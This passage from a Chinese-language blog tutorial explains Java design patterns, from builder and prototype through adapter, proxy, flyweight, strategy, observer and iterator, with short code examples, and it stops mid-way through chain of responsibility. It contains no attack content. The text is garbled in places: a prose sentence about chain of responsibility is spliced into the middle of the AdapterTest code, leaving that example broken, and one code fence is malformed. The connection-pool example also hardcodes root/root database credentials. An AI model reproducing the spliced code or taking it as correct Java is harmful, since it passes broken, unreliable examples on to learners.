\n```\n\n通过单例模式的学习告诉我们：\n1、单例模式理解起来简单，但是具体实现起来还是有一定的难度。\n2、synchronized关键字锁定的是对象，在用的时候，一定要在恰当的地方使用（注意需要使用锁的对象和过程，可能有的时候并不是整个对象及整个过程都需要锁）。\n到这儿，单例模式基本已经讲完了，结尾处，笔者突然想到另一个问题，就是采用类的静态方法，实现单例模式的效果，也是可行的，此处二者有什么不同？\n首先，静态类不能实现接口。（从类的角度说是可以的，但是那样就破坏了静态了。因为接口中不允许有static修饰的方法，所以即使实现了也是非静态的）\n其次，单例可以被延迟初始化，静态类一般在第一次加载是初始化。之所以延迟加载，是因为有些类比较庞大，所以延迟加载有助于提升性能。\n再次，单例类可以被继承，他的方法可以被覆写。但是静态类内部方法都是static，无法被覆写。\n最后一点，单例类比较灵活，毕竟从实现上只是一个普通的Java类，只要满足单例的基本需求，你可以在里面随心所欲的实现一些其它功能，但是静态类不行。从上面这些概括中，基本可以看出二者的区别，但是，从另一方面讲，我们上面最后实现的那个单例模式，内部就是用一个静态类来实现的，所以，二者有很大的关联，只是我们考虑问题的层面不同罢了。两种思想的结合，才能造就出完美的解决方案，就像HashMap采用数组+链表来实现一样，其实生活中很多事情都是这样，单用不同的方法来处理问题，总是有优点也有缺点，最完美的方法是，结合各个方法的优点，才能最好的解决问题！\n4、建造者模式（Builder）\n工厂类模式提供的是创建单个类的模式，而建造者模式则是将各种产品集中起来进行管理，用来创建复合对象，所谓复合对象就是指某个类具有不同的属性，其实建造者模式就是前面抽象工厂模式和最后的Test结合起来得到的。我们看一下代码：\n还和前面一样，一个Sender接口，两个实现类MailSender和SmsSender。最后，建造者类如下：\n```java\npublic class Builder {  \n      \n    private List<Sender> list = new ArrayList<Sender>();  \n      \n    public void produceMailSender(int count){  \n        for(int i=0; i<count; i++){  \n            list.add(new MailSender());  \n        }  \n    }  \n      \n    public void produceSmsSender(int count){  \n        for(int i=0; i<count; i++){  \n            list.add(new SmsSender());  \n        }  \n    }  \n}  \n```\n测试类：\n```java\npublic class Test {  \n  \n    public static void main(String[] args) {  \n        Builder builder = new Builder();  \n        builder.produceMailSender(10);  \n    }  \n}  \n```\n从这点看出，建造者模式将很多功能集成到一个类里，这个类可以创造出比较复杂的东西。所以与工程模式的区别就是：工厂模式关注的是创建单个产品，而建造者模式则关注创建符合对象，多个部分。因此，是选择工厂模式还是建造者模式，依实际情况而定。\n5、原型模式（Prototype）\n原型模式虽然是创建型的模式，但是与工程模式没有关系，从名字即可看出，该模式的思想就是将一个对象作为原型，对其进行复制、克隆，产生一个和原对象类似的新对象。本小结会通过对象的复制，进行讲解。在Java中，复制对象是通过clone()实现的，先创建一个原型类：\n```java\npublic class Prototype implements Cloneable {  \n  \n    public Object clone() throws CloneNotSupportedException {  \n        Prototype proto = (Prototype) super.clone();  \n        return proto;  \n    }  \n}  \n```\n很简单，一个原型类，只需要实现Cloneable接口，覆写clone方法，此处clone方法可以改成任意的名称，因为Cloneable接口是个空接口，你可以任意定义实现类的方法名，如cloneA或者cloneB，因为此处的重点是super.clone()这句话，super.clone()调用的是Object的clone()方法，而在Object类中，clone()是native的，具体怎么实现，我会在另一篇文章中，关于解读Java中本地方法的调用，此处不再深究。在这儿，我将结合对象的浅复制和深复制来说一下，首先需要了解对象深、浅复制的概念：\n浅复制：将一个对象复制后，基本数据类型的变量都会重新创建，而引用类型，指向的还是原对象所指向的。\n深复制：将一个对象复制后，不论是基本数据类型还有引用类型，都是重新创建的。简单来说，就是深复制进行了完全彻底的复制，而浅复制不彻底。\n此处，写一个深浅复制的例子：\n```java\npublic class Prototype implements Cloneable, Serializable {  \n  \n    private static final long serialVersionUID = 1L;  \n    private String string;  \n  \n    private SerializableObject obj;  \n  \n    /* 浅复制 */  \n    public Object clone() throws CloneNotSupportedException {  \n        Prototype proto = (Prototype) super.clone();  \n        return proto;  \n    }  \n  \n    /* 深复制 */  \n    public Object deepClone() throws IOException, ClassNotFoundException {  \n  \n        /* 写入当前对象的二进制流 */  \n        ByteArrayOutputStream bos = new ByteArrayOutputStream();  \n        ObjectOutputStream oos = new ObjectOutputStream(bos);  \n        oos.writeObject(this);  \n  \n        /* 读出二进制流产生的新对象 */  \n        ByteArrayInputStream bis = new ByteArrayInputStream(bos.toByteArray());  \n        ObjectInputStream ois = new ObjectInputStream(bis);  \n        return ois.readObject();  \n    }  \n  \n    public String getString() {  \n        return string;  \n    }  \n  \n    public void setString(String string) {  \n        this.string = string;  \n    }  \n  \n    public SerializableObject getObj() {  \n        return obj;  \n    }  \n  \n    public void setObj(SerializableObject obj) {  \n        this.obj = obj;  \n    }  \n  \n}  \n  \nclass SerializableObject implements Serializable {  \n    private static final long serialVersionUID = 1L;  \n}  \n```\n要实现深复制，需要采用流的形式读入当前对象的二进制输入，再写出二进制数据对应的对象。\n我们接着讨论设计模式，上篇文章我讲完了5种创建型模式，这章开始，我将讲下7种结构型模式：适配器模式、装饰模式、代理模式、外观模式、桥接模式、组合模式、享元模式。其中对象的适配器模式是各种模式的起源，我们看下面的图：\n\n 适配器模式将某个类的接口转换成客户端期望的另一个接口表示，目的是消除由于接口不匹配所造成的类的兼容性问题。主要分为三类：类的适配器模式、对象的适配器模式、接口的适配器模式。首先，我们来看看类的适配器模式，先看类图：\n\n核心思想就是：有一个Source类，拥有一个方法，待适配，目标接口时Targetable，通过Adapter类，将Source的功能扩展到Targetable里，看代码：\n```java\npublic class Source {  \n  \n    public void method1() {  \n        System.out.println(\"this is original method!\");  \n    }  \n}  \n```\n```java\npublic interface Targetable {  \n  \n    /* 与原类中的方法相同 */  \n    public void method1();  \n  \n    /* 新类的方法 */  \n    public void method2();  \n}  \n```\n```java\npublic class Adapter extends Source implements Targetable {  \n  \n    @Override  \n    public void method2() {  \n        System.out.println(\"this is the targetable method!\");  \n    }  \n}  \n```\nAdapter类继承Source类，实现Targetable接口，下面是测试类：\n```java\npublic class AdapterTest {  \n  \n    public static void main(String[] args) {  \n        Targetable target = new Adapter();  接下来我们将要谈谈责任链模式，有多个对象，每个对象持有对下一个对象的引用，这样就会形成一条链，请求在这条链上传递，直到某一对象决定处理该请求。但是发出者并不清楚到底最终那个对象会处理该请求，所以，责任链模式可以实现，在隐瞒客户\n        target.method1();  \n        target.method2();  \n    }  \n} \n``` \n输出：\nthis is original method! this is the targetable method!\n这样Targetable接口的实现类就具有了Source类的功能。\n对象的适配器模式\n基本思路和类的适配器模式相同，只是将Adapter类作修改，这次不继承Source类，而是持有Source类的实例，以达到解决兼容性的问题。看图：\n\n \n只需要修改Adapter类的源码即可：\n```java\npublic class Wrapper implements Targetable {  \n  \n    private Source source;  \n      \n    public Wrapper(Source source){  \n        super();  \n        this.source = source;  \n    }  \n    @Override  \n    public void method2() {  \n        System.out.println(\"this is the targetable method!\");  \n    }  \n  \n    @Override  \n    public void method1() {  \n        source.method1();  \n    }  \n}  \n```\n测试类：\n```java\npublic class AdapterTest {  \n  \n    public static void main(String[] args) {  \n        Source source = new Source();  \n        Targetable target = new Wrapper(source);  \n        target.method1();  \n        target.method2();  \n    }  \n} \n``` \n输出与第一种一样，只是适配的方法不同而已。\n第三种适配器模式是接口的适配器模式，接口的适配器是这样的：有时我们写的一个接口中有多个抽象方法，当我们写该接口的实现类时，必须实现该接口的所有方法，这明显有时比较浪费，因为并不是所有的方法都是我们需要的，有时只需要某一些，此处为了解决这个问题，我们引入了接口的适配器模式，借助于一个抽象类，该抽象类实现了该接口，实现了所有的方法，而我们不和原始的接口打交道，只和该抽象类取得联系，所以我们写一个类，继承该抽象类，重写我们需要的方法就行。看一下类图：\n\n这个很好理解，在实际开发中，我们也常会遇到这种接口中定义了太多的方法，以致于有时我们在一些实现类中并不是都需要。看代码：\n```java\npublic interface Sourceable {  \n      \n    public void method1();  \n    public void method2();  \n}  \n```\n抽象类Wrapper2：\n```java\npublic abstract class Wrapper2 implements Sourceable{  \n      \n    public void method1(){}  \n    public void method2(){}  \n}  \n```\n```java\npublic class SourceSub1 extends Wrapper2 {  \n    public void method1(){  \n        System.out.println(\"the sourceable interface's first Sub1!\");  \n    }  \n}  \n```\n```java\npublic class SourceSub2 extends Wrapper2 {  \n    public void method2(){  \n        System.out.println(\"the sourceable interface's second Sub2!\");  \n    }  \n}  \n```\n```java\npublic class WrapperTest {  \n  \n    public static void main(String[] args) {  \n        Sourceable source1 = new SourceSub1();  \n        Sourceable source2 = new SourceSub2();  \n          \n        source1.method1();  \n        source1.method2();  \n        source2.method1();  \n        source2.method2();  \n    }  \n}  \n```\n测试输出：\nthe sourceable interface's first Sub1! the sourceable interface's second Sub2!\n达到了我们的效果！\n 讲了这么多，总结一下三种适配器模式的应用场景：\n类的适配器模式：当希望将一个类转换成满足另一个新接口的类时，可以使用类的适配器模式，创建一个新类，继承原有的类，实现新的接口即可。\n对象的适配器模式：当希望将一个对象转换成满足另一个新接口的对象时，可以创建一个Wrapper类，持有原类的一个实例，在Wrapper类的方法中，调用实例的方法就行。\n接口的适配器模式：当不希望实现一个接口中所有的方法时，可以创建一个抽象类Wrapper，实现所有方法，我们写别的类的时候，继承抽象类即可。\n7、装饰模式（Decorator）\n顾名思义，装饰模式就是给一个对象增加一些新的功能，而且是动态的，要求装饰对象和被装饰对象实现同一个接口，装饰对象持有被装饰对象的实例，关系图如下：\n\nSource类是被装饰类，Decorator类是一个装饰类，可以为Source类动态的添加一些功能，代码如下：\n```java\npublic interface Sourceable {  \n    public void method();  \n} \n``` \n```java\npublic class Source implements Sourceable {  \n  \n    @Override  \n    public void method() {  \n        System.out.println(\"the original method!\");  \n    }  \n} \n``` \n```java\npublic class Decorator implements Sourceable {  \n  \n    private Sourceable source;  \n      \n    public Decorator(Sourceable source){  \n        super();  \n        this.source = source;  \n    }  \n    @Override  \n    public void method() {  \n        System.out.println(\"before decorator!\");  \n        source.method();  \n        System.out.println(\"after decorator!\");  \n    }  \n}  \n```\n测试类：\n```java\npublic class DecoratorTest {  \n  \n    public static void main(String[] args) {  \n        Sourceable source = new Source();  \n        Sourceable obj = new Decorator(source);  \n        obj.method();  \n    }  \n}  \n```\n输出：\nbefore decorator! the original method! after decorator!\n装饰器模式的应用场景：\n1、需要扩展一个类的功能。\n2、动态的为一个对象增加功能，而且还能动态撤销。（继承不能做到这一点，继承的功能是静态的，不能动态增删。）\n缺点：产生过多相似的对象，不易排错！\n8、代理模式（Proxy）\n其实每个模式名称就表明了该模式的作用，代理模式就是多一个代理类出来，替原对象进行一些操作，比如我们在租房子的时候回去找中介，为什么呢？因为你对该地区房屋的信息掌握的不够全面，希望找一个更熟悉的人去帮你做，此处的代理就是这个意思。再如我们有的时候打官司，我们需要请律师，因为律师在法律方面有专长，可以替我们进行操作，表达我们的想法。先来看看关系图：\n \n根据上文的阐述，代理模式就比较容易的理解了，我们看下代码：\n```java\npublic interface Sourceable {  \n    public void method();  \n} \n``` \n```java\npublic class Source implements Sourceable {  \n  \n    @Override  \n    public void method() {  \n        System.out.println(\"the original method!\");  \n    }  \n}  \n```\n```java\npublic class Proxy implements Sourceable {  \n  \n    private Source source;  \n    public Proxy(){  \n        super();  \n        this.source = new Source();  \n    }  \n    @Override  \n    public void method() {  \n        before();  \n        source.method();  \n        atfer();  \n    }  \n    private void atfer() {  \n        System.out.println(\"after proxy!\");  \n    }  \n    private void before() {  \n        System.out.println(\"before proxy!\");  \n    }  \n} \n``` \n测试类：\n```java\npublic class ProxyTest {  \n  \n    public static void main(String[] args) {  \n        Sourceable source = new Proxy();  \n        source.method();  \n    }  \n  \n}  \n```\n输出：\nbefore proxy! the original method! after proxy!\n代理模式的应用场景：\n如果已有的方法在使用的时候需要对原有的方法进行改进，此时有两种办法：\n1、修改原有的方法来适应。这样违反了“对扩展开放，对修改关闭”的原则。\n2、就是采用一个代理类调用原有的方法，且对产生的结果进行控制。这种方法就是代理模式。\n使用代理模式，可以将功能划分的更加清晰，有助于后期维护！\n9、外观模式（Facade）\n外观模式是为了解决类与类之家的依赖关系的，像spring一样，可以将类和类之间的关系配置到配置文件中，而外观模式就是将他们的关系放在一个Facade类中，降低了类类之间的耦合度，该模式中没有涉及到接口，看下类图：（我们以一个计算机的启动过程为例）\n\n我们先看下实现类：\n```java\npublic class CPU {  \n      \n    public void startup(){  \n        System.out.println(\"cpu startup!\");  \n    }  \n      \n    public void shutdown(){  \n        System.out.println(\"cpu shutdown!\");  \n    }  \n}  \n```\n```java\npublic class Memory {  \n      \n    public void startup(){  \n        System.out.println(\"memory startup!\");  \n    }  \n      \n    public void shutdown(){  \n        System.out.println(\"memory shutdown!\");  \n    }  \n}  \n```\n```java\npublic class Disk {  \n      \n    public void startup(){  \n        System.out.println(\"disk startup!\");  \n    }  \n      \n    public void shutdown(){  \n        System.out.println(\"disk shutdown!\");  \n    }  \n}  \n```\n```java\npublic class Computer {  \n    private CPU cpu;  \n    private Memory memory;  \n    private Disk disk;  \n      \n    public Computer(){  \n        cpu = new CPU();  \n        memory = new Memory();  \n        disk = new Disk();  \n    }  \n      \n    public void startup(){  \n        System.out.println(\"start the computer!\");  \n        cpu.startup();  \n        memory.startup();  \n        disk.startup();  \n        System.out.println(\"start computer finished!\");  \n    }  \n      \n    public void shutdown(){  \n        System.out.println(\"begin to close the computer!\");  \n        cpu.shutdown();  \n        memory.shutdown();  \n        disk.shutdown();  \n        System.out.println(\"computer closed!\");  \n    }  \n}  \n```\nUser类如下：\n```java\npublic class User {  \n  \n    public static void main(String[] args) {  \n        Computer computer = new Computer();  \n        computer.startup();  \n        computer.shutdown();  \n    }  \n}  \n```\n输出：\nstart the computer! cpu startup! memory startup! disk startup! start computer finished! begin to close the computer! cpu shutdown! memory shutdown! disk shutdown! computer closed!\n如果我们没有Computer类，那么，CPU、Memory、Disk他们之间将会相互持有实例，产生关系，这样会造成严重的依赖，修改一个类，可能会带来其他类的修改，这不是我们想要看到的，有了Computer类，他们之间的关系被放在了Computer类里，这样就起到了解耦的作用，这，就是外观模式！\n10、桥接模式（Bridge）\n桥接模式就是把事物和其具体实现分开，使他们可以各自独立的变化。桥接的用意是：将抽象化与实现化解耦，使得二者可以独立变化，像我们常用的JDBC桥DriverManager一样，JDBC进行连接数据库的时候，在各个数据库之间进行切换，基本不需要动太多的代码，甚至丝毫不用动，原因就是JDBC提供统一接口，每个数据库提供各自的实现，用一个叫做数据库驱动的程序来桥接就行了。我们来看看关系图：\n\n实现代码：\n先定义接口：\n```java\npublic interface Sourceable {  \n    public void method();  \n}  \n```\n分别定义两个实现类：\n```java\npublic class SourceSub1 implements Sourceable {  \n  \n    @Override  \n    public void method() {  \n        System.out.println(\"this is the first sub!\");  \n    }  \n} \n``` \n```java\npublic class SourceSub2 implements Sourceable {  \n  \n    @Override  \n    public void method() {  \n        System.out.println(\"this is the second sub!\");  \n    }  \n}  \n```\n定义一个桥，持有Sourceable的一个实例：\n```java\npublic abstract class Bridge {  \n    private Sourceable source;  \n  \n    public void method(){  \n        source.method();  \n    }  \n      \n    public Sourceable getSource() {  \n        return source;  \n    }  \n  \n    public void setSource(Sourceable source) {  \n        this.source = source;  \n    }  \n}  \n```\n```java\npublic class MyBridge extends Bridge {  \n    public void method(){  \n        getSource().method();  \n    }  \n}  \n```\n测试类：\n```java\npublic class BridgeTest {  \n      \n    public static void main(String[] args) {  \n          \n        Bridge bridge = new MyBridge();  \n          \n        /*调用第一个对象*/  \n        Sourceable source1 = new SourceSub1();  \n        bridge.setSource(source1);  \n        bridge.method();  \n          \n        /*调用第二个对象*/  \n        Sourceable source2 = new SourceSub2();  \n        bridge.setSource(source2);  \n        bridge.method();  \n    }  \n} \n``` \noutput：\nthis is the first sub! this is the second sub!\n这样，就通过对Bridge类的调用，实现了对接口Sourceable的实现类SourceSub1和SourceSub2的调用。接下来我再画个图，大家就应该明白了，因为这个图是我们JDBC连接的原理，有数据库学习基础的，一结合就都懂了。\n\n11、组合模式（Composite）\n组合模式有时又叫部分-整体模式在处理类似树形结构的问题时比较方便，看看关系图：\n\n直接来看代码：\n```java\npublic class TreeNode {  \n      \n    private String name;  \n    private TreeNode parent;  \n    private Vector<TreeNode> children = new Vector<TreeNode>();  \n      \n    public TreeNode(String name){  \n        this.name = name;  \n    }  \n  \n    public String getName() {  \n        return name;  \n    }  \n  \n    public void setName(String name) {  \n        this.name = name;  \n    }  \n  \n    public TreeNode getParent() {  \n        return parent;  \n    }  \n  \n    public void setParent(TreeNode parent) {  \n        this.parent = parent;  \n    }  \n      \n    //添加孩子节点  \n    public void add(TreeNode node){  \n        children.add(node);  \n    }  \n      \n    //删除孩子节点  \n    public void remove(TreeNode node){  \n        children.remove(node);  \n    }  \n      \n    //取得孩子节点  \n    public Enumeration<TreeNode> getChildren(){  \n        return children.elements();  \n    }  \n}  \n```\n```java\npublic class Tree {  \n  \n    TreeNode root = null;  \n  \n    public Tree(String name) {  \n        root = new TreeNode(name);  \n    }  \n  \n    public static void main(String[] args) {  \n        Tree tree = new Tree(\"A\");  \n        TreeNode nodeB = new TreeNode(\"B\");  \n        TreeNode nodeC = new TreeNode(\"C\");  \n          \n        nodeB.add(nodeC);  \n        tree.root.add(nodeB);  \n        System.out.println(\"build the tree finished!\");  \n    }  \n}  \n```\n使用场景：将多个对象组合在一起进行操作，常用于表示树形结构中，例如二叉树，数等。\n12、享元模式（Flyweight）\n享元模式的主要目的是实现对象的共享，即共享池，当系统中对象多的时候可以减少内存的开销，通常与工厂模式一起使用。\n\nFlyWeightFactory负责创建和管理享元单元，当一个客户端请求时，工厂需要检查当前对象池中是否有符合条件的对象，如果有，就返回已经存在的对象，如果没有，则创建一个新对象，FlyWeight是超类。一提到共享池，我们很容易联想到Java里面的JDBC连接池，想想每个连接的特点，我们不难总结出：适用于作共享的一些个对象，他们有一些共有的属性，就拿数据库连接池来说，url、driverClassName、username、password及dbname，这些属性对于每个连接来说都是一样的，所以就适合用享元模式来处理，建一个工厂类，将上述类似属性作为内部数据，其它的作为外部数据，在方法调用时，当做参数传进来，这样就节省了空间，减少了实例的数量。\n看个例子：\n\n看下数据库连接池的代码：\n```java\npublic class ConnectionPool {  \n      \n    private Vector<Connection> pool;  \n      \n    /*公有属性*/  \n    private String url = \"jdbc:mysql://localhost:3306/test\";  \n    private String username = \"root\";  \n    private String password = \"root\";  \n    private String driverClassName = \"com.mysql.jdbc.Driver\";  \n  \n    private int poolSize = 100;  \n    private static ConnectionPool instance = null;  \n    Connection conn = null;  \n  \n    /*构造方法，做一些初始化工作*/  \n    private ConnectionPool() {  \n        pool = new Vector<Connection>(poolSize);  \n  \n        for (int i = 0; i < poolSize; i++) {  \n            try {  \n                Class.forName(driverClassName);  \n                conn = DriverManager.getConnection(url, username, password);  \n                pool.add(conn);  \n            } catch (ClassNotFoundException e) {  \n                e.printStackTrace();  \n            } catch (SQLException e) {  \n                e.printStackTrace();  \n            }  \n        }  \n    }  \n  \n    /* 返回连接到连接池 */  \n    public synchronized void release() {  \n        pool.add(conn);  \n    }  \n  \n    /* 返回连接池中的一个数据库连接 */  \n    public synchronized Connection getConnection() {  \n        if (pool.size() > 0) {  \n            Connection conn = pool.get(0);  \n            pool.remove(conn);  \n            return conn;  \n        } else {  \n            return null;  \n        }  \n    }  \n}  \n```\n通过连接池的管理，实现了数据库连接的共享，不需要每一次都重新创建连接，节省了数据库重新创建的开销，提升了系统的性能！本章讲解了7种结构型模式，因为篇幅的问题，剩下的11种行为型模式，\n本章是关于设计模式的最后一讲，会讲到第三种设计模式——行为型模式，共11种：策略模式、模板方法模式、观察者模式、迭代子模式、责任链模式、命令模式、备忘录模式、状态模式、访问者模式、中介者模式、解释器模式。这段时间一直在写关于设计模式的东西，终于写到一半了，写博文是个很费时间的东西，因为我得为读者负责，不论是图还是代码还是表述，都希望能尽量写清楚，以便读者理解，我想不论是我还是读者，都希望看到高质量的博文出来，从我本人出发，我会一直坚持下去，不断更新，源源动力来自于读者朋友们的不断支持，我会尽自己的努力，写好每一篇文章！希望大家能不断给出意见和建议，共同打造完美的博文！\n \n \n先来张图，看看这11中模式的关系：\n第一类：通过父类与子类的关系进行实现。第二类：两个类之间。第三类：类的状态。第四类：通过中间类\n\n13、策略模式（strategy）\n策略模式定义了一系列算法，并将每个算法封装起来，使他们可以相互替换，且算法的变化不会影响到使用算法的客户。需要设计一个接口，为一系列实现类提供统一的方法，多个实现类实现该接口，设计一个抽象类（可有可无，属于辅助类），提供辅助函数，关系图如下：\n\n图中ICalculator提供同意的方法， AbstractCalculator是辅助类，提供辅助方法，接下来，依次实现下每个类：\n首先统一接口：\n```java\npublic interface ICalculator {  \n    public int calculate(String exp);  \n} \n``` \n辅助类：\n```java\npublic abstract class AbstractCalculator {  \n      \n    public int[] split(String exp,String opt){  \n        String array[] = exp.split(opt);  \n        int arrayInt[] = new int[2];  \n        arrayInt[0] = Integer.parseInt(array[0]);  \n        arrayInt[1] = Integer.parseInt(array[1]);  \n        return arrayInt;  \n    }  \n} \n``` \n三个实现类：\n```java\npublic class Plus extends AbstractCalculator implements ICalculator {  \n  \n    @Override  \n    public int calculate(String exp) {  \n        int arrayInt[] = split(exp,\"\\\\+\");  \n        return arrayInt[0]+arrayInt[1];  \n    }  \n}  \n```java\npublic class Minus extends AbstractCalculator implements ICalculator {  \n  \n    @Override  \n    public int calculate(String exp) {  \n        int arrayInt[] = split(exp,\"-\");  \n        return arrayInt[0]-arrayInt[1];  \n    }  \n  \n}  \n```\n```java\npublic class Multiply extends AbstractCalculator implements ICalculator {  \n  \n    @Override  \n    public int calculate(String exp) {  \n        int arrayInt[] = split(exp,\"\\\\*\");  \n        return arrayInt[0]*arrayInt[1];  \n    }  \n}  \n```\n简单的测试类：\n```java\npublic class StrategyTest {  \n  \n    public static void main(String[] args) {  \n        String exp = \"2+8\";  \n        ICalculator cal = new Plus();  \n        int result = cal.calculate(exp);  \n        System.out.println(result);  \n    }  \n} \n``` \n输出：10\n策略模式的决定权在用户，系统本身提供不同算法的实现，新增或者删除算法，对各种算法做封装。因此，策略模式多用在算法决策系统中，外部用户只需要决定用哪个算法即可。\n14、模板方法模式（Template Method）\n解释一下模板方法模式，就是指：一个抽象类中，有一个主方法，再定义1...n个方法，可以是抽象的，也可以是实际的方法，定义一个类，继承该抽象类，重写抽象方法，通过调用抽象类，实现对子类的调用，先看个关系图：\n\n就是在AbstractCalculator类中定义一个主方法calculate，calculate()调用spilt()等，Plus和Minus分别继承AbstractCalculator类，通过对AbstractCalculator的调用实现对子类的调用，看下面的例子：\n```java\npublic abstract class AbstractCalculator {  \n      \n    /*主方法，实现对本类其它方法的调用*/  \n    public final int calculate(String exp,String opt){  \n        int array[] = split(exp,opt);  \n        return calculate(array[0],array[1]);  \n    }  \n      \n    /*被子类重写的方法*/  \n    abstract public int calculate(int num1,int num2);  \n      \n    public int[] split(String exp,String opt){  \n        String array[] = exp.split(opt);  \n        int arrayInt[] = new int[2];  \n        arrayInt[0] = Integer.parseInt(array[0]);  \n        arrayInt[1] = Integer.parseInt(array[1]);  \n        return arrayInt;  \n    }  \n} \n``` \n```java\npublic class Plus extends AbstractCalculator {  \n  \n    @Override  \n    public int calculate(int num1,int num2) {  \n        return num1 + num2;  \n    }  \n} \n``` \n测试类：\n```java\npublic class StrategyTest {  \n  \n    public static void main(String[] args) {  \n        String exp = \"8+8\";  \n        AbstractCalculator cal = new Plus();  \n        int result = cal.calculate(exp, \"\\\\+\");  \n        System.out.println(result);  \n    }  \n} \n``` \n我跟踪下这个小程序的执行过程：首先将exp和\"\\\\+\"做参数，调用AbstractCalculator类里的calculate(String,String)方法，在calculate(String,String)里调用同类的split()，之后再调用calculate(int ,int)方法，从这个方法进入到子类中，执行完return num1 + num2后，将值返回到AbstractCalculator类，赋给result，打印出来。正好验证了我们开头的思路。\n15、观察者模式（Observer）\n包括这个模式在内的接下来的四个模式，都是类和类之间的关系，不涉及到继承，学的时候应该 记得归纳，记得本文最开始的那个图。观察者模式很好理解，类似于邮件订阅和RSS订阅，当我们浏览一些博客或wiki时，经常会看到RSS图标，就这的意思是，当你订阅了该文章，如果后续有更新，会及时通知你。其实，简单来讲就一句话：当一个对象变化时，其它依赖该对象的对象都会收到通知，并且随着变化！对象之间是一种一对多的关系。先来看看关系图：\n\n我解释下这些类的作用：MySubject类就是我们的主对象，Observer1和Observer2是依赖于MySubject的对象，当MySubject变化时，Observer1和Observer2必然变化。AbstractSubject类中定义着需要监控的对象列表，可以对其进行修改：增加或删除被监控对象，且当MySubject变化时，负责通知在列表内存在的对象。我们看实现代码：\n一个Observer接口：\n```java\npublic interface Observer {  \n    public void update();  \n}  \n```\n两个实现类：\n```java\npublic class Observer1 implements Observer {  \n  \n    @Override  \n    public void update() {  \n        System.out.println(\"observer1 has received!\");  \n    }  \n}  \n```\n```java\npublic class Observer2 implements Observer {  \n  \n    @Override  \n    public void update() {  \n        System.out.println(\"observer2 has received!\");  \n    }  \n  \n}  \n```\nSubject接口及实现类：\n```java\npublic interface Subject {  \n      \n    /*增加观察者*/  \n    public void add(Observer observer);  \n      \n    /*删除观察者*/  \n    public void del(Observer observer);  \n      \n    /*通知所有的观察者*/  \n    public void notifyObservers();  \n      \n    /*自身的操作*/  \n    public void operation();  \n}  \n```\n```java\npublic abstract class AbstractSubject implements Subject {  \n  \n    private Vector<Observer> vector = new Vector<Observer>();  \n    @Override  \n    public void add(Observer observer) {  \n        vector.add(observer);  \n    }  \n  \n    @Override  \n    public void del(Observer observer) {  \n        vector.remove(observer);  \n    }  \n  \n    @Override  \n    public void notifyObservers() {  \n        Enumeration<Observer> enumo = vector.elements();  \n        while(enumo.hasMoreElements()){  \n            enumo.nextElement().update();  \n        }  \n    }  \n} \n``` \n```java\npublic class MySubject extends AbstractSubject {  \n  \n    @Override  \n    public void operation() {  \n        System.out.println(\"update self!\");  \n        notifyObservers();  \n    }  \n  \n}  \n```\n测试类：\n```java\npublic class ObserverTest {  \n  \n    public static void main(String[] args) {  \n        Subject sub = new MySubject();  \n        sub.add(new Observer1());  \n        sub.add(new Observer2());  \n          \n        sub.operation();  \n    }  \n  \n} \n``` \n输出：\nupdate self! observer1 has received! observer2 has received!\n 这些东西，其实不难，只是有些抽象，不太容易整体理解，建议读者：根据关系图，新建项目，自己写代码（或者参考我的代码）,按照总体思路走一遍，这样才能体会它的思想，理解起来容易！ \n16、迭代子模式（Iterator）\n顾名思义，迭代器模式就是顺序访问聚集中的对象，一般来说，集合中非常常见，如果对集合类比较熟悉的话，理解本模式会十分轻松。这句话包含两层意思：一是需要遍历的对象，即聚集对象，二是迭代器对象，用于对聚集对象进行遍历访问。我们看下关系图：\n \n这个思路和我们常用的一模一样，MyCollection中定义了集合的一些操作，MyIterator中定义了一系列迭代操作，且持有Collection实例，我们来看看实现代码：\n两个接口：\n```java\npublic interface Collection {  \n      \n    public Iterator iterator();  \n      \n    /*取得集合元素*/  \n    public Object get(int i);  \n      \n    /*取得集合大小*/  \n    public int size();  \n} \n``` \n```java\npublic interface Iterator {  \n    //前移  \n    public Object previous();  \n      \n    //后移  \n    public Object next();  \n    public boolean hasNext();  \n      \n    //取得第一个元素  \n    public Object first();  \n}  \n```\n两个实现：\n```java\npublic class MyCollection implements Collection {  \n  \n    public String string[] = {\"A\",\"B\",\"C\",\"D\",\"E\"};  \n    @Override  \n    public Iterator iterator() {  \n        return new MyIterator(this);  \n    }  \n  \n    @Override  \n    public Object get(int i) {  \n        return string[i];  \n    }  \n  \n    @Override  \n    public int size() {  \n        return string.length;  \n    }  \n} \n``` \n```java\npublic class MyIterator implements Iterator {  \n  \n    private Collection collection;  \n    private int pos = -1;  \n      \n    public MyIterator(Collection collection){  \n        this.collection = collection;  \n    }  \n      \n    @Override  \n    public Object previous() {  \n        if(pos > 0){  \n            pos--;  \n        }  \n        return collection.get(pos);  \n    }  \n  \n    @Override  \n    public Object next() {  \n        if(pos<collection.size()-1){  \n            pos++;  \n        }  \n        return collection.get(pos);  \n    }  \n  \n    @Override  \n    public boolean hasNext() {  \n        if(pos<collection.size()-1){  \n            return true;  \n        }else{  \n            return false;  \n        }  \n    }  \n  \n    @Override  \n    public Object first() {  \n        pos = 0;  \n        return collection.get(pos);  \n    }  \n  \n} \n``` \n测试类：\n```java\npublic class Test {  \n  \n    public static void main(String[] args) {  \n        Collection collection = new MyCollection();  \n        Iterator it = collection.iterator();  \n          \n        while(it.hasNext()){  \n            System.out.println(it.next());  \n        }  \n    }  \n}  \n```\n输出：A B C D E\n此处我们貌似模拟了一个集合类的过程，感觉是不是很爽？其实JDK中各个类也都是这些基本的东西，加一些设计模式，再加一些优化放到一起的，只要我们把这些东西学会了，掌握好了，我们也可以写出自己的集合类，甚至框架！\n17、责任链模式（Chain of Responsibility）接下来我们将要谈谈责任链模式，有多个对象，每个对象持有对下一个对象的引用，这样就会形成一条链，请求在这条链上传递，直到某一对象决定处理该请求。但是发出者并不清楚到底最终那个对象会处理该请求，所以，责任链模式可以实现，在隐瞒客户端的情况下，对系统进行动态的调整。先看看关系图：\n \n \nAbstracthandler类提供了get和set方法，方便MyHandle类设置和修改引用对象，MyHandle类是核心，实例化后生成一系列相互持有的对象，构成一条链。\n```java\npublic interface Handler {  \n    public void operator();  \n}  \n```\n```java\npublic abstract class AbstractHandler {  \n      \n    private Handler handler;  \n  \n    public Handler getHandler() {  \n        return handler;  \n    }  \n  \n    public void setHandler(Handler handler) {  \n        this.handler = handler;  \n    }  \n      \n}\n```  \n```java\npublic class MyHandler extends AbstractHandler implements Handler {  \n  \n    private String name;  \n  \n    public MyHandler(String name) {  \n        this.name = name;  \n    }  \n  \n    @Override  \n    public void operator() {  \n        System.out.println(name+\"deal!\");  \n        if(getHandler()!=null){  \n            getHandler().operator();  \n        }  \n    }  \n} \n``` \n```java\npublic class Test {  \n  \n    public static void main(String[] args) { 